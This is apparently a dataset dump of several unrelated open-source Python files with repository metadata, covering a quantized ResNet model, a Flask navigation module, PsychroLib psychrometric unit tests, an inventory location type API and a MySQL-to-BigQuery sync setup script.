quantize=quantize) self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2], quantize=quantize) self.avgpool = nn.AdaptiveAvgPool2d((1, 1)) if quantize: self.fc = quant_nn.QuantLinear(512 * block.expansion, num_classes) else: self.fc = nn.Linear(512 * block.expansion, num_classes) for m in self.modules(): if isinstance(m, nn.Conv2d): nn.init.kaiming_normal_( m.weight, mode='fan_out', nonlinearity='relu') elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)): nn.init.constant_(m.weight, 1) nn.init.constant_(m.bias, 0) # Zero-initialize the last BN in each residual branch, # so that the residual branch starts with zeros, and each residual block behaves like an identity. # This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677 if zero_init_residual: for m in self.modules(): if isinstance(m, Bottleneck): # type: ignore[arg-type] nn.init.constant_(m.bn3.weight, 0) elif isinstance(m, BasicBlock): # type: ignore[arg-type] nn.init.constant_(m.bn2.weight, 0) def _make_layer(self, block: Type[Union[BasicBlock, Bottleneck]], planes: int, blocks: int, stride: int = 1, dilate: bool = False, quantize: bool = False) -> nn.Sequential: norm_layer = self._norm_layer downsample = None previous_dilation = self.dilation if dilate: self.dilation *= stride stride = 1 if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( conv1x1(self.inplanes, planes * block.expansion, stride, quantize=quantize), norm_layer(planes * block.expansion), ) layers = [] layers.append( block(self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer, self._quantize)) self.inplanes = planes * block.expansion for _ in range(1, blocks): layers.append( block(self.inplanes, planes, groups=self.groups, base_width=self.base_width, dilation=self.dilation, norm_layer=norm_layer, quantize=quantize)) return nn.Sequential(*layers) def _forward_impl(self, x: Tensor) -> Tensor: # See note [TorchScript super()] x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.avgpool(x) x = torch.flatten(x, 1) x = self.fc(x) return x def forward(self, x: Tensor) -> Tensor: return self._forward_impl(x) def _resnet(arch: str, block: Type[Union[BasicBlock, Bottleneck]], layers: List[int], pretrained: bool, progress: bool, quantize: bool, **kwargs: Any) -> ResNet: model = ResNet(block, layers, quantize, **kwargs) if pretrained: state_dict = load_state_dict_from_url( model_urls[arch], progress=progress) model.load_state_dict(state_dict) return model def resnet18(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNet-18 model from `"Deep Residual Learning for Image Recognition" <https://arxiv.org/pdf/1512.03385.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ return _resnet('resnet18', BasicBlock, [2, 2, 2, 2], pretrained, progress, quantize, **kwargs) def resnet34(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNet-34 model from `"Deep Residual Learning for Image Recognition" <https://arxiv.org/pdf/1512.03385.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ return _resnet('resnet34', BasicBlock, [3, 4, 6, 3], pretrained, progress, quantize, **kwargs) def resnet50(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNet-50 model from `"Deep Residual Learning for Image Recognition" <https://arxiv.org/pdf/1512.03385.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ return _resnet('resnet50', Bottleneck, [3, 4, 6, 3], pretrained, progress, quantize, **kwargs) def resnet101(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNet-101 model from `"Deep Residual Learning for Image Recognition" <https://arxiv.org/pdf/1512.03385.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ return _resnet('resnet101', Bottleneck, [3, 4, 23, 3], pretrained, progress, quantize, **kwargs) def resnet152(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNet-152 model from `"Deep Residual Learning for Image Recognition" <https://arxiv.org/pdf/1512.03385.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ return _resnet('resnet152', Bottleneck, [3, 8, 36, 3], pretrained, progress, quantize, **kwargs) def resnext50_32x4d(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNeXt-50 32x4d model from `"Aggregated Residual Transformation for Deep Neural Networks" <https://arxiv.org/pdf/1611.05431.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ kwargs['groups'] = 32 kwargs['width_per_group'] = 4 return _resnet('resnext50_32x4d', Bottleneck, [3, 4, 6, 3], pretrained, progress, quantize, **kwargs) def resnext101_32x8d(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""ResNeXt-101 32x8d model from `"Aggregated Residual Transformation for Deep Neural Networks" <https://arxiv.org/pdf/1611.05431.pdf>`_. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ kwargs['groups'] = 32 kwargs['width_per_group'] = 8 return _resnet('resnext101_32x8d', Bottleneck, [3, 4, 23, 3], pretrained, progress, quantize, **kwargs) def wide_resnet50_2(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""Wide ResNet-50-2 model from `"Wide Residual Networks" <https://arxiv.org/pdf/1605.07146.pdf>`_. The model is the same as ResNet except for the bottleneck number of channels which is twice larger in every block. The number of channels in outer 1x1 convolutions is the same, e.g. last block in ResNet-50 has 2048-512-2048 channels, and in Wide ResNet-50-2 has 2048-1024-2048. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ kwargs['width_per_group'] = 64 * 2 return _resnet('wide_resnet50_2', Bottleneck, [3, 4, 6, 3], pretrained, progress, quantize, **kwargs) def wide_resnet101_2(pretrained: bool = False, progress: bool = True, quantize: bool = False, **kwargs: Any) -> ResNet: r"""Wide ResNet-101-2 model from `"Wide Residual Networks" <https://arxiv.org/pdf/1605.07146.pdf>`_. The model is the same as ResNet except for the bottleneck number of channels which is twice larger in every block. The number of channels in outer 1x1 convolutions is the same, e.g. last block in ResNet-50 has 2048-512-2048 channels, and in Wide ResNet-50-2 has 2048-1024-2048. Args: pretrained (bool): If True, returns a model pre-trained on ImageNet progress (bool): If True, displays a progress bar of the download to stderr """ kwargs['width_per_group'] = 64 * 2 return _resnet('wide_resnet101_2', Bottleneck, [3, 4, 23, 3], pretrained, progress, quantize, **kwargs)

41.372881

119

0.589154

ace8ccb326ffa003444a05f94bdf596bc491ad16

6,205

py

Python

flask_navigator/item.py

tonicbupt/flask-navigator

7bff981e130b648068e23849141ddb800391f3ec

[ "MIT" ]

null

flask_navigator/item.py

tonicbupt/flask-navigator

7bff981e130b648068e23849141ddb800391f3ec

[ "MIT" ]

1

2015-05-12T11:50:05.000Z

flask_navigator/item.py

tonicbupt/flask-navigator

7bff981e130b648068e23849141ddb800391f3ec

[ "MIT" ]

null

import collections from flask import url_for, request from .utils import freeze_dict class Item(object): """The navigation item object. :param label: the display label of this navigation item. :param endpoint: the unique name of this navigation item. If this item point to a internal url, this parameter should be acceptable for ``url_for`` which will generate the target url. :param args: optional. If this parameter be provided, it will be passed to the ``url_for`` with ``endpoint`` together. Maybe this arguments need to be decided in the Flask app context, then this parameter could be a function to delay the execution. :param url: optional. If this parameter be provided, the target url of this navigation will be it. The ``endpoint`` and ``args`` will not been used to generate url. The ``endpoint`` is the identity name of this navigation item. It will be unique in whole application. In mostly situation, it should be a endpoint name of a Flask view function. """ def __init__(self, label, endpoint, args=None, url=None, sub_nav_bar=None): self.label = label self.endpoint = endpoint self._args = args self._url = url if sub_nav_bar: if not isinstance(sub_nav_bar, list): sub_nav_bar = [sub_nav_bar, ] self._sub_nav_bar = sub_nav_bar else: self._sub_nav_bar = [] @property def args(self): """The arguments which will be passed to ``url_for``. :type: :class:`dict` """ if self._args is None: return {} if callable(self._args): return dict(self._args()) return dict(self._args) @property def url(self): """The final url of this navigation item. By default, the value is generated by the :attr:`self.endpoint` and :attr:`self.args`. .. note:: The :attr:`url` property require the app context without a provided config value :const:`SERVER_NAME`, because of :func:`flask.url_for`. :type: :class:`str` """ if self._url is None: return url_for(self.endpoint, **self.args) return self._url @property def is_active(self): # should check both self and sub navigators. return self._is_self_active() or self._is_sub_nav_bar_item_active() def _is_self_active(self): # simply test if self is active. # nothing to do with the sub navigators. is_internal = (self._url is None) has_same_endpoint = (request.endpoint == self.endpoint) has_same_args = (request.view_args == self.args) return is_internal and has_same_endpoint and has_same_args def _is_sub_nav_bar_item_active(self): # if no sub navigators are bound to self, # then `is_active` should be related to self._is_self_active, # so we simply return False. if not self._sub_nav_bar: return False # if any sub navigators are bound, # then self is the parent to all sub navigators. # hence `is_active` should be related to all items in these sub navigators. # any of which is active, the parent is then active. return any([item.is_active for b in self._sub_nav_bar for item in b]) @property def ident(self): """The identity of this item. :type: :class:`~flask.ext.navigation.Navigation.ItemReference` """ return ItemReference(self.endpoint, self.args) class ItemCollection(collections.MutableSequence, collections.Iterable): """The collection of navigation items. This collection is a mutable sequence. All items have order index, and could be found by its endpoint name. e.g.:: c = ItemCollection() c.append(Item(endpoint='doge')) print(c['doge']) # output: Item(endpoint='doge') print(c[0]) # output: Item(endpoint='doge') print(c) # output: ItemCollection([Item(endpoint='doge')]) print(len(c)) # output: 1 c.append(Item(endpoint='lumpy', args={'num': 4})) print(c[1]) # output: Item(endpoint='lumpy', args={'num': 4}) assert c['lumpy', {'num': 4}] is c[1] """ def __init__(self, iterable=None): #: the item collection self._items = [] #: the mapping collection of endpoint -> item self._items_mapping = {} #: initial extending self.extend(iterable or []) def __repr__(self): return 'ItemCollection(%r)' % self._items def __getitem__(self, index): if isinstance(index, int): return self._items[index] if isinstance(index, tuple): endpoint, args = index else: endpoint, args = index, {} ident = ItemReference(endpoint, args) return self._items_mapping[ident] def __setitem__(self, index, item): # remove the old reference old_item = self._items[index] del self._items_mapping[old_item.ident] self._items[index] = item self._items_mapping[item.ident] = item def __delitem__(self, index): item = self[index] del self._items[index] del self._items_mapping[item.ident] def __len__(self): return len(self._items) def __iter__(self): return iter(self._items) def insert(self, index, item): self._items.insert(index, item) self._items_mapping[item.ident] = item class ItemReference(collections.namedtuple('ItemReference', 'endpoint args')): """The identity tuple of navigation item. :param endpoint: the endpoint of view function. :type endpoint: ``str`` :param args: the arguments of view function. :type args: ``dict`` """ def __new__(cls, endpoint, args=()): if isinstance(args, dict): args = freeze_dict(args) return super(cls, ItemReference).__new__(cls, endpoint, args)

33.181818

83

0.610959

ace8cd3a33ad57184a4257b93d404cfed41172e4

951

py

Python

pele_platform/gpcr/main.py

TheKipiDragon/pele_platform

bb33fb69741685d423bdccda4ed104fd0b70ed5b

[ "Apache-2.0" ]

null

pele_platform/gpcr/main.py

TheKipiDragon/pele_platform

bb33fb69741685d423bdccda4ed104fd0b70ed5b

[ "Apache-2.0" ]

null

pele_platform/gpcr/main.py

TheKipiDragon/pele_platform

bb33fb69741685d423bdccda4ed104fd0b70ed5b

[ "Apache-2.0" ]

null

from dataclasses import dataclass import pele_platform.Adaptive.simulation as si import pele_platform.Utilities.Helpers.helpers as hp import pele_platform.Utilities.Parameters.pele_env as pv @dataclass class GpcrLauncher(): args: pv.EnviroBuilder def run_gpcr_simulation(self) -> pv.EnviroBuilder: #Set parameters for gpcr and launch simulation self._set_parameters() simulation_parameters = si.run_adaptive(self.args) return simulation_parameters def _set_parameters(self) -> None: # Set box and initial ligand position self.orthosteric_site = self.args.orthosteric_site self.initial_site = self.args.initial_site self.args.center_of_interface = self.initial_site self.args.box_center, self.args.box_radius = hp.retrieve_box( self.args.system, self.initial_site, self.orthosteric_site, weights=[0.35, 0.65]) self.args.randomize = True

33.964286

69

0.729758

ace8cda4822ed1b6bedc2a8f53a1303c374a408b

12,125

py

Python

tests/test_psychrolib_ip.py

hongyuanjia/psychrolib

eb2bbcc2a50b5d612287d459f327ebb743bbcf01

[ "MIT" ]

119

2018-11-30T10:07:59.000Z

2022-03-31T18:54:41.000Z

tests/test_psychrolib_ip.py

hongyuanjia/psychrolib

eb2bbcc2a50b5d612287d459f327ebb743bbcf01

[ "MIT" ]

67

2018-12-08T23:09:25.000Z

2022-02-18T15:16:14.000Z

tests/test_psychrolib_ip.py

hongyuanjia/psychrolib

eb2bbcc2a50b5d612287d459f327ebb743bbcf01

[ "MIT" ]

44

2018-12-08T21:02:56.000Z

2022-01-30T18:44:43.000Z

# PsychroLib (version 2.5.0) (https://github.com/psychrometrics/psychrolib). # Copyright (c) 2018-2020 The PsychroLib Contributors. Licensed under the MIT License. # Test of PsychroLib in IP units for Python, C, and Fortran. import numpy as np import pytest pytestmark = pytest.mark.usefixtures('SetUnitSystem_IP') # Test of helper functions def test_GetTRankineFromTFahrenheit(psy): assert psy.GetTRankineFromTFahrenheit(70) == pytest.approx(529.67, rel = 0.000001) def test_GetTFahrenheitFromTRankine(psy): assert psy.GetTFahrenheitFromTRankine(529.67) == pytest.approx(70, rel = 0.000001) ############################################################################### # Tests at saturation ############################################################################### # Test saturation vapour pressure calculation # The values are tested against the values published in Table 3 of ch. 1 of the 2017 ASHRAE Handbook - Fundamentals # over the range [-148, +392] F # ASHRAE's assertion is that the formula is within 300 ppm of the true values, which is true except for the value at -76 F def test_GetSatVapPres(psy): assert psy.GetSatVapPres(-76) == pytest.approx(0.000157, abs = 0.00001) assert psy.GetSatVapPres( -4) == pytest.approx(0.014974, rel = 0.0003) assert psy.GetSatVapPres( 23) == pytest.approx(0.058268, rel = 0.0003) assert psy.GetSatVapPres( 41) == pytest.approx(0.12656, rel = 0.0003) assert psy.GetSatVapPres( 77) == pytest.approx(0.45973, rel = 0.0003) assert psy.GetSatVapPres(122) == pytest.approx(1.79140, rel = 0.0003) assert psy.GetSatVapPres(212) == pytest.approx(14.7094, rel = 0.0003) assert psy.GetSatVapPres(300) == pytest.approx(67.0206, rel = 0.0003) # Test that the NR in GetTDewPointFromVapPres converges. # This test was known problem in versions of PsychroLib <= 2.0.0 def test_GetTDewPointFromVapPres_convergence(psy): TDryBulb = np.arange(-148, 392, 1) RelHum = np.arange(0, 1, 0.1) Pressure = np.arange(8.6, 17.4, 1) for T in TDryBulb: for RH in RelHum: for p in Pressure: psy.GetTWetBulbFromRelHum(T, RH, p) print('GetTDewPointFromVapPres converged') # Test saturation humidity ratio # The values are tested against those published in Table 2 of ch. 1 of the 2017 ASHRAE Handbook - Fundamentals # Agreement is not terrific - up to 2% difference with the values published in the table def test_GetSatHumRatio(psy): assert psy.GetSatHumRatio(-58, 14.696) == pytest.approx(0.0000243, rel = 0.01) assert psy.GetSatHumRatio( -4, 14.696) == pytest.approx(0.0006373, rel = 0.01) assert psy.GetSatHumRatio( 23, 14.696) == pytest.approx(0.0024863, rel = 0.005) assert psy.GetSatHumRatio( 41, 14.696) == pytest.approx(0.005425, rel = 0.005) assert psy.GetSatHumRatio( 77, 14.696) == pytest.approx(0.020173, rel = 0.005) assert psy.GetSatHumRatio(122, 14.696) == pytest.approx(0.086863, rel = 0.01) assert psy.GetSatHumRatio(185, 14.696) == pytest.approx(0.838105, rel = 0.02) # Test enthalpy at saturation # The values are tested against those published in Table 2 of ch. 1 of the 2017 ASHRAE Handbook - Fundamentals # Agreement is rarely better than 1%, and close to 3% at -5 C def test_GetSatAirEnthalpy(psy): assert psy.GetSatAirEnthalpy(-58, 14.696) == pytest.approx(-13.906, rel = 0.01) assert psy.GetSatAirEnthalpy( -4, 14.696) == pytest.approx( -0.286, rel = 0.01) assert psy.GetSatAirEnthalpy( 23, 14.696) == pytest.approx( 8.186, rel = 0.03) assert psy.GetSatAirEnthalpy( 41, 14.696) == pytest.approx( 15.699, rel = 0.01) assert psy.GetSatAirEnthalpy( 77, 14.696) == pytest.approx( 40.576, rel = 0.01) assert psy.GetSatAirEnthalpy(122, 14.696) == pytest.approx(126.066, rel = 0.01) assert psy.GetSatAirEnthalpy(185, 14.696) == pytest.approx(999.749, rel = 0.01) ############################################################################### # Test of primary relationships between wet bulb temperature, humidity ratio, vapour pressure, relative humidity, and dew point temperatures # These relationships are identified with bold arrows in the doc's diagram ############################################################################### # Test of relationships between vapour pressure and dew point temperature # No need to test vapour pressure calculation as it is just the saturation vapour pressure tested above def test_VapPres_TDewPoint(psy): VapPres = psy.GetVapPresFromTDewPoint(-4.0) assert psy.GetTDewPointFromVapPres(59.0, VapPres) == pytest.approx(-4.0, abs = 0.001) VapPres = psy.GetVapPresFromTDewPoint(41.0) assert psy.GetTDewPointFromVapPres(59.0, VapPres) == pytest.approx(41.0, abs = 0.001) VapPres = psy.GetVapPresFromTDewPoint(122.0) assert psy.GetTDewPointFromVapPres(140.0, VapPres) == pytest.approx(122.0, abs = 0.001) ## Test of relationships between humidity ratio and vapour pressure ## Humidity ratio values to test against are calculated with Excel def test_HumRatio_VapPres(psy): HumRatio = psy.GetHumRatioFromVapPres(0.45973, 14.175) # conditions at 77 F, std atm pressure at 1000 ft assert HumRatio == pytest.approx(0.0208473311024865, rel = 0.000001) VapPres = psy.GetVapPresFromHumRatio(HumRatio, 14.175) assert VapPres == pytest.approx(0.45973, abs = 0.00001) ## Test of relationships between vapour pressure and relative humidity def test_VapPres_RelHum(psy): VapPres = psy.GetVapPresFromRelHum(77, 0.8) assert VapPres == pytest.approx(0.45973*0.8, rel = 0.0003) RelHum = psy.GetRelHumFromVapPres(77, VapPres) assert RelHum == pytest.approx(0.8, rel = 0.0003) ## Test of relationships between humidity ratio and wet bulb temperature ## The formulae are tested for two conditions, one above freezing and the other below ## Humidity ratio values to test against are calculated with Excel def test_HumRatio_TWetBulb(psy): # Above freezing HumRatio = psy.GetHumRatioFromTWetBulb(86, 77, 14.175) assert HumRatio == pytest.approx(0.0187193288418892, rel = 0.0003) TWetBulb = psy.GetTWetBulbFromHumRatio(86, HumRatio, 14.175) assert TWetBulb == pytest.approx(77, abs = 0.001) # Below freezing HumRatio = psy.GetHumRatioFromTWetBulb(30.2, 23.0, 14.175) assert HumRatio == pytest.approx(0.00114657481090184, rel = 0.0003) TWetBulb = psy.GetTWetBulbFromHumRatio(30.2, HumRatio, 14.1751) assert TWetBulb == pytest.approx(23.0, abs = 0.001) # Low HumRatio -- this should evaluate true as we clamp the HumRation to 1e-07. assert psy.GetTWetBulbFromHumRatio(25,1e-09,95461) == psy.GetTWetBulbFromHumRatio(25,1e-07,95461) ############################################################################### # Dry air calculations ############################################################################### # Values are compared against values found in Table 2 of ch. 1 of the ASHRAE Handbook - Fundamentals # Note: the accuracy of the formula is not better than 0.1%, apparently def test_DryAir(psy): assert psy.GetDryAirEnthalpy(77) == pytest.approx(18.498, rel = 0.001) assert psy.GetDryAirVolume(77, 14.696) == pytest.approx(13.5251, rel = 0.001) assert psy.GetDryAirDensity(77, 14.696) == pytest.approx(1/13.5251, rel = 0.001) assert psy.GetTDryBulbFromEnthalpyAndHumRatio(42.6168, 0.02) == pytest.approx(85.97, abs = 0.05) assert psy.GetHumRatioFromEnthalpyAndTDryBulb(42.6168, 86) == pytest.approx(0.02, rel = 0.001) ############################################################################### # Moist air calculations ############################################################################### # Values are compared against values calculated with Excel def test_MoistAir(psy): assert psy.GetMoistAirEnthalpy(86, 0.02) == pytest.approx(42.6168, rel = 0.0003) assert psy.GetMoistAirVolume(86, 0.02, 14.175) == pytest.approx(14.7205749002918, rel = 0.0003) assert psy.GetMoistAirDensity(86, 0.02, 14.175) == pytest.approx(0.0692907720594378, rel = 0.0003) def test_GetTDryBulbFromMoistAirVolumeAndHumRatio(psy): assert psy.GetTDryBulbFromMoistAirVolumeAndHumRatio(14.7205749002918, 0.02, 14.175) == pytest.approx(86, rel = 0.0003) ############################################################################### # Test standard atmosphere ############################################################################### # The functions are tested against Table 1 of ch. 1 of the 2017 ASHRAE Handbook - Fundamentals def test_GetStandardAtmPressure(psy): assert psy.GetStandardAtmPressure(-1000) == pytest.approx(15.236, abs = 1) assert psy.GetStandardAtmPressure( 0) == pytest.approx(14.696, abs = 1) assert psy.GetStandardAtmPressure( 1000) == pytest.approx(14.175, abs = 1) assert psy.GetStandardAtmPressure( 3000) == pytest.approx(13.173, abs = 1) assert psy.GetStandardAtmPressure(10000) == pytest.approx(10.108, abs = 1) assert psy.GetStandardAtmPressure(30000) == pytest.approx( 4.371, abs = 1) def test_GetStandardAtmTemperature(psy): assert psy.GetStandardAtmTemperature(-1000) == pytest.approx( 62.6, abs = 0.1) assert psy.GetStandardAtmTemperature( 0) == pytest.approx( 59.0, abs = 0.1) assert psy.GetStandardAtmTemperature( 1000) == pytest.approx( 55.4, abs = 0.1) assert psy.GetStandardAtmTemperature( 3000) == pytest.approx( 48.3, abs = 0.1) assert psy.GetStandardAtmTemperature(10000) == pytest.approx( 23.4, abs = 0.1) assert psy.GetStandardAtmTemperature(30000) == pytest.approx(-47.8, abs = 0.2) # Doesn't work with abs = 0.1 ############################################################################### # Test sea level pressure conversions ############################################################################### # Test sea level pressure calculation against https://keisan.casio.com/exec/system/1224575267, # converted to IP def test_SeaLevel_Station_Pressure(psy): SeaLevelPressure = psy.GetSeaLevelPressure(14.681662559, 344.488, 62.942) assert SeaLevelPressure == pytest.approx(14.8640475, abs = 0.0001) assert psy.GetStationPressure(SeaLevelPressure, 344.488, 62.942) == pytest.approx(14.681662559, abs = 0.0001) ############################################################################### # Test conversion between humidity types ############################################################################### def test_GetSpecificHumFromHumRatio(psy): assert psy.GetSpecificHumFromHumRatio(0.006) == pytest.approx(0.00596421471, rel=0.01) def test_GetHumRatioFromSpecificHum(psy): assert psy.GetHumRatioFromSpecificHum(0.00596421471) == pytest.approx(0.006, rel=0.01) ############################################################################### # Test against Example 1 of ch. 1 of the 2017 ASHRAE Handbook - Fundamentals ############################################################################### def test_AllPsychrometrics(psy): # This is example 1. The values are provided in the text of the Handbook HumRatio, TDewPoint, RelHum, VapPres, MoistAirEnthalpy, MoistAirVolume, DegreeOfSaturation = \ psy.CalcPsychrometricsFromTWetBulb(100, 65, 14.696) assert HumRatio == pytest.approx(0.00523, abs = 0.001) assert TDewPoint == pytest.approx(40, abs = 1.0) # not great agreement assert RelHum == pytest.approx(0.13, abs = 0.01) assert MoistAirEnthalpy == pytest.approx(29.80, abs = 0.1) assert MoistAirVolume == pytest.approx(14.22, rel = 0.01) # Reverse calculation: recalculate wet bulb temperature from dew point temperature HumRatio, TWetBulb, RelHum, VapPres, MoistAirEnthalpy, MoistAirVolume, DegreeOfSaturation = \ psy.CalcPsychrometricsFromTDewPoint(100, TDewPoint, 14.696) assert TWetBulb == pytest.approx(65, abs = 0.1) # Reverse calculation: recalculate wet bulb temperature from relative humidity HumRatio, TWetBulb, TDewPoint, VapPres, MoistAirEnthalpy, MoistAirVolume, DegreeOfSaturation = \ psy.CalcPsychrometricsFromRelHum(100, RelHum, 14.696) assert TWetBulb == pytest.approx(65, abs = 0.1)

56.658879

140

0.654268

ace8cdbf1b3b2b44a862b3a73378fb92054ef38f

5,115

py

Python

symphony/cli/pyinventory/api/location_type.py

rohan-prasad/magma

2c1f36d2fd04eae90366cc8b314eaab656d7f8ad

[ "BSD-3-Clause" ]

null

symphony/cli/pyinventory/api/location_type.py

rohan-prasad/magma

2c1f36d2fd04eae90366cc8b314eaab656d7f8ad

[ "BSD-3-Clause" ]

6

2021-03-31T19:59:59.000Z

2022-01-22T12:56:47.000Z

symphony/cli/pyinventory/api/location_type.py

fbcode/magma_old

054ef8e079478bda36d2b13b8a88386c6dc94ef2

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python3 # Copyright (c) 2004-present Facebook All rights reserved. # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file. from typing import List from pysymphony import SymphonyClient from ..common.cache import LOCATION_TYPES from ..common.data_class import Location, LocationType, PropertyDefinition from ..common.data_enum import Entity from ..common.data_format import ( format_to_property_definitions, format_to_property_type_inputs, ) from ..exceptions import EntityNotFoundError from ..graphql.input.add_location_type import AddLocationTypeInput from ..graphql.mutation.add_location_type import AddLocationTypeMutation from ..graphql.mutation.remove_location_type import RemoveLocationTypeMutation from ..graphql.query.location_type_locations import LocationTypeLocationsQuery from ..graphql.query.location_types import LocationTypesQuery from .location import delete_location def _populate_location_types(client: SymphonyClient) -> None: location_types = LocationTypesQuery.execute(client) if not location_types: return edges = location_types.edges for edge in edges: node = edge.node if node: LOCATION_TYPES[node.name] = LocationType( name=node.name, id=node.id, property_types=format_to_property_definitions(node.propertyTypes), ) def add_location_type( client: SymphonyClient, name: str, properties: List[PropertyDefinition], map_zoom_level: int = 8, ) -> LocationType: """This function creates new location type. Args: name (str): location type name properties (List[ `pyinventory.common.data_class.PropertyDefinition` ]): list of property definitions map_zoom_level (int): map zoom level Returns: `pyinventory.common.data_class.LocationType` object Raises: FailedOperationException: internal inventory error Example: ``` location_type = client.add_location_type( name="city", properties=[ PropertyDefinition( property_name="Contact", property_kind=PropertyKind.string, default_raw_value=None, is_fixed=True ) ], map_zoom_level=5, ) ``` """ new_property_types = format_to_property_type_inputs(data=properties) result = AddLocationTypeMutation.execute( client, AddLocationTypeInput( name=name, mapZoomLevel=map_zoom_level, properties=new_property_types, surveyTemplateCategories=[], ), ) location_type = LocationType( name=result.name, id=result.id, property_types=format_to_property_definitions(result.propertyTypes), ) LOCATION_TYPES[result.name] = location_type return location_type def delete_locations_by_location_type( client: SymphonyClient, location_type: LocationType ) -> None: """Delete locatons by location type. Args: location_type ( `pyinventory.common.data_class.LocationType` ): location type object Raises: `pyinventory.exceptions.EntityNotFoundError`: if location_type does not exist Example: ``` client.delete_locations_by_location_type(location_type=location_type) ``` """ location_type_with_locations = LocationTypeLocationsQuery.execute( client, id=location_type.id ) if location_type_with_locations is None: raise EntityNotFoundError( entity=Entity.LocationType, entity_id=location_type.id ) locations = location_type_with_locations.locations if locations is None: return for location in locations.edges: node = location.node if node: delete_location( client, Location( id=node.id, name=node.name, latitude=node.latitude, longitude=node.longitude, external_id=node.externalId, location_type_name=node.locationType.name, properties=node.properties, ), ) def delete_location_type_with_locations( client: SymphonyClient, location_type: LocationType ) -> None: """Delete locaton type with existing locations. Args: location_type (`pyinventory.common.data_class.LocationType`): location type object Raises: `pyinventory.exceptions.EntityNotFoundError`: if location_type does not exist Example: ``` client.delete_location_type_with_locations(location_type=location_type) ``` """ delete_locations_by_location_type(client, location_type) RemoveLocationTypeMutation.execute(client, id=location_type.id)

32.579618

113

0.647312

ace8ce28b1e8e6c9e6095c5dc4adb330c43e26bf

3,663

py

Python

src/add_service.py

beirving/mysql-to-bigquery

75dfe3390f1e1a0dc54d5cace0cf1a89a0560ae6

[ "MIT" ]

null

src/add_service.py

beirving/mysql-to-bigquery

75dfe3390f1e1a0dc54d5cace0cf1a89a0560ae6

[ "MIT" ]

null

src/add_service.py

beirving/mysql-to-bigquery

75dfe3390f1e1a0dc54d5cace0cf1a89a0560ae6

[ "MIT" ]

null

import os import re import pandas as pd from prefect import Task, Flow from cryptography.fernet import Fernet from google.oauth2 import service_account from mysql_bigquery.adapters.storage import StorageAdapter from mysql_bigquery.adapters.bigquery import BigQueryAdapter from mysql_bigquery.adapters.stackdriver import StackDriverAdapter import mysql_bigquery.prefect_utils.add.storage as storage_add import mysql_bigquery.prefect_utils.add.big_query as big_query_add import mysql_bigquery.prefect_utils.add.populate_tracking_table as populate class AddService(Task): def __init__(self): self.service = None self.data_set = None self.host = None self.user = None self.password = None self.database = None self.key = None self.service_account = service_account.Credentials.from_service_account_file( os.environ['MYSQL_BIG_QUERY_GOOGLE_AUTH'] ) self.sd_logger = StackDriverAdapter(self.service_account) self.sd_logger.get_client() self.sd_logger.create_logger(f"add-service") def generate_key(self): self.key = Fernet.generate_key() def set_attribute(self, attribute: str, value: str, encode: bool = False): if encode: f = Fernet(self.key) encoded = f.encrypt(bytes(value, encoding='utf-8')) value = str(encoded, 'utf-8') setattr(self, attribute, value) def save_key(self): storage_client = StorageAdapter(self.service_account) storage_client.get_client() result = storage_client.write_string( bucket='mysql_sync_keys', destination=f"{self.service}", string=self.key ) if result is False: raise RuntimeError(storage_client.errors) def save_record(self): record = { 'service': [self.service], 'data_set': [self.data_set], 'host': [self.host], 'user': [self.user], 'password': [self.password], 'database': [self.database] } df = pd.DataFrame(record) big_query = BigQueryAdapter(self.service_account) big_query.get_client() big_query.set_data_set_ref('mysql_sync') big_query.set_table_ref('data_sources') result = big_query.upload_data_frame(df) if result is False: self.sd_logger.error( big_query.errors, {'class': 'AddService', 'method': 'save_record'} ) def storage(self): return storage_add.storage_flow_runner(self.service) def big_query(self): return big_query_add.big_query_flow_runner(self.service) def populate_tracking(self): return populate.populate_tracking_table_flow_runner(self.service) def run_set_up(self): service = input('Service Name: ') service = re.sub(r"[^\w]|_", '-', service) self.set_attribute('service', service) data_set = input('Data Set: ') data_set = re.sub(r"[^\w]|-", '_', data_set) self.set_attribute('data_set', data_set) self.set_attribute('host', input('MySQL Host Connection: '), True) self.set_attribute('user', input('MySQL Connection User: '), True) self.set_attribute('password', input('MySQL Connection Password: '), True) self.set_attribute('database', input('MySQL Database: ')) with Flow('Add Service') as flow: add = AddService() add.generate_key() add.run_set_up() add.save_key() add.save_record() add.storage() add.big_query() add.populate_tracking() state = flow.run()

32.415929

85

0.64783

ace8ced42292e4478617f322a0bc00a0dc789767

21,420

py

Python

qa/rpc-tests/pruning.py

